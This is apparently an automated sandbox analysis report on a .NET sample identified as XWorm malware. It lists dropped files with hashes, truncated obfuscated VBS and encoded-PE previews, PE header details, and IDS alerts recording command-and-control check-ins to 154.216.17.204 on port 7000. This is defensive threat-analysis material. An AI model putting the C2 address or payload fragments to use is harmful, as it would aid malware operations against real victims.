C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d1conrqx.qio.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dhxbu4vo.mje.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gqoczapk.5od.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kivaelxh.5va.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m0sagscj.bic.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_otvnkbem.tm3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ozxxjsoi.t3f.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wndbbfqn.qil.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yzgjt5xk.mwp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\dll01.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	150623
Entropy (8bit):	3.2176130062510753
Encrypted:	false
SSDEEP:	1536:75qMujBcl2m/Yz0DvDTfugHkhAVg3yHHKZqeT6:VtOBi2m/Yz0D7iFhAVgCKZqeT6
MD5:	115D4E1E50B2C5AB4074E2926A6F9536
SHA1:	19B8124781A5983CB16F84A63A2069BA92888E2E
SHA-256:	CB01DADEA6259FC6DC6DD4B23E6C285AF2C6D537C6291E77D6DABBFF7D2E9DB6
SHA-512:	6CD40861A87FCE8BF1DCE39DF043F6D0FBA7571AF37E46AB5B4748740CE55851C67AE894BE7A818B32DB4A5A08E4BB20FB1EF6C6B78946E36638316F54533B59
Malicious:	false
Preview:	TVqQ$$$$$$$$M$$$$$$$$$$$$$$$$E$$$$$$$$$$$$$$$$//8$$$$$$$$Lg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$Q$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$g$$$$$$$$$$$$$$$$$$$$4fug4$$$$t$$$$nNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJ$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$BQRQ$$$$$$$$T$$$$ED$$$$KHePWc$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$O$$$$$$$$Ii$$$$L$$$$V$$$$$$$$$$$$Oo$$$$$$$$$$$$$$$$G$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$jgkB$$$$$$$$$$$$g$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$E$$$$$$$$g$$$$$$$$$$$$$$$$$$$$g$$$$$$$$B$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$G$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$Bg$$$$Q$$$$$$$$$$$$g$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$M$$$$YIU$$$$$$$$B$$$$$$$$$$$$B$$$$$$$$$$$$$$$$$$$$$$$$E$$$$$$$$$$$$E$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$B$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$DQJ$$$$QBX$$$$$$$$$$$$$$$$

C:\Users\user\AppData\Local\Temp\jglbwx.vbs

Download File

Process:	C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (857), with CRLF line terminators
Category:	dropped
Size (bytes):	3219302
Entropy (8bit):	3.9767946700371843
Encrypted:	false
SSDEEP:	192:5JJJgJJJgJJJgJJJQJJJgJJJgJJJgJJJ/JJJgJJJgJJJgJJJQJJJgJJJgJJJgJJm:F6QOkcAt5ux
MD5:	FCAA804D9DB79818800C6959A3C6AC1F
SHA1:	AC0A6AB72AAB0F2EAFE3D6122444403C5FE7552F
SHA-256:	754E7C2D75794BEC1272BBAB941251388EF00553CB825C05C125D8B7D16E4340
SHA-512:	1832548A3D1D58E0254E342D84AE55717ED5EBB6471687648D07E402135EE30C3404CDC71305C3F80BD57F9CFB385B7B6557FF6547D2EC5EDBA76579827D094B
Malicious:	true
Preview:	..........'. .=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'=..=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'=..=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'=..=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'=..=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'=..=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'=..=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'=..=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'=..=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'=..=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'=..=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'

C:\Users\user\AppData\Local\Temp\mknrez.vbs

Download File

Process:	C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (857), with CRLF line terminators
Category:	dropped
Size (bytes):	3219310
Entropy (8bit):	3.9643840227717635
Encrypted:	false
SSDEEP:	96:S6G7M0ZJxzDCq720D/vm0MbKxDpb2GCwDmDLlRmI2GDIDmDGNmDvp+j8Lk3Db5SM:5kvvy6/OkFpbN0RwdU+0XYzb5FVYY
MD5:	12D923EBB2470C76819B026B9A014846
SHA1:	3E4748B37BFDE13B29B26A5A7F2C1EEB49298AB6
SHA-256:	71F06A8688B84619279D0B490A560B64509D59DFF0718CBA2247EF8485C61703
SHA-512:	7502B647C916E0EB823D83732D2508B0CC3AF58655D76B85D96B586477155345B115A1410751F9D75106B4E200746C6CA8E69FFD45655DD01C1F6B5925A1342F
Malicious:	true
Preview:	..........'. .=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'=..=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'=..=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'=..=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'=..=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'=..=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'=..=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'=..=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'=..=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'=..=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'=..=...'=.. .5.C.5.V.5.e.5.c.5.R.5.d..!5.R.5.c.5.R..!5.Z.5.T.5.\...5.F.5.c.5.X. .=...'

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.597981098399306
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe
File size:	33'280 bytes
MD5:	993cbace6afacb6cd1017cd01b44a87a
SHA1:	1d94c0fc7c82998d5b1bdf9615fe009a39813239
SHA256:	e5a7528468aa8b685bd0f5fb99e7242e074c759f2cbf427108c0f2709f8a39b2
SHA512:	335616514e43d094262357721961da77daff974571d4defaa9ee00d09d823e693d3905450af9b585bf311438a328d2d5efef23f3a66394b2db57de8efa44d85e
SSDEEP:	384:vcmKc71F3BUaMbGf/JLbFt3Tm2eaFObpzRApkFTBLTsOZwpGd2v99IkuiswOQMVP:0a1LxMC1Jt3Tw42pzVFE9jFOHOjhDbw
TLSH:	51E23A4877944312D6FFAFF529F362061670D517E823EFAE0CE485EA2B67AC047407A6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...._"g.................x............... ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4097be
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67225FC6 [Wed Oct 30 16:33:10 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x976c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa000	0x4d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x77c4	0x7800	5e600422b96030b65c06ad6a93d6a593	False	0.5027018229166667	data	5.748983698638937	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa000	0x4d8	0x600	afbb984503128042cc38bf70e5e337f4	False	0.375	data	3.7203482473352403	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xc000	0xc	0x200	5cba29e6fb2a9dc260dc0e516d223d86	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xa0a0	0x244	data			0.4724137931034483
RT_MANIFEST	0xa2e8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T06:54:03.471158+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:54:03.474545+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:54:09.881691+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:54:14.713493+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:54:14.716490+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:54:25.965806+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:54:25.967795+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:54:37.213828+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:54:37.218237+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:54:39.883598+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:54:48.467890+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:54:48.471685+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:54:59.846263+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:54:59.848915+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:01.088545+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:01.096934+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:03.228953+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:03.230793+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:03.529550+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:03.531094+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:05.338714+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:05.340957+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:06.073363+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:06.075356+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:08.402212+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:08.404396+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:09.438691+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:09.440575+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:09.881019+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:10.072804+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:10.074489+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:10.704952+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:10.757798+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:10.828045+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:10.877315+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:10.947733+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:11.000965+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.12	49710	154.216.17.204	7000	TCP
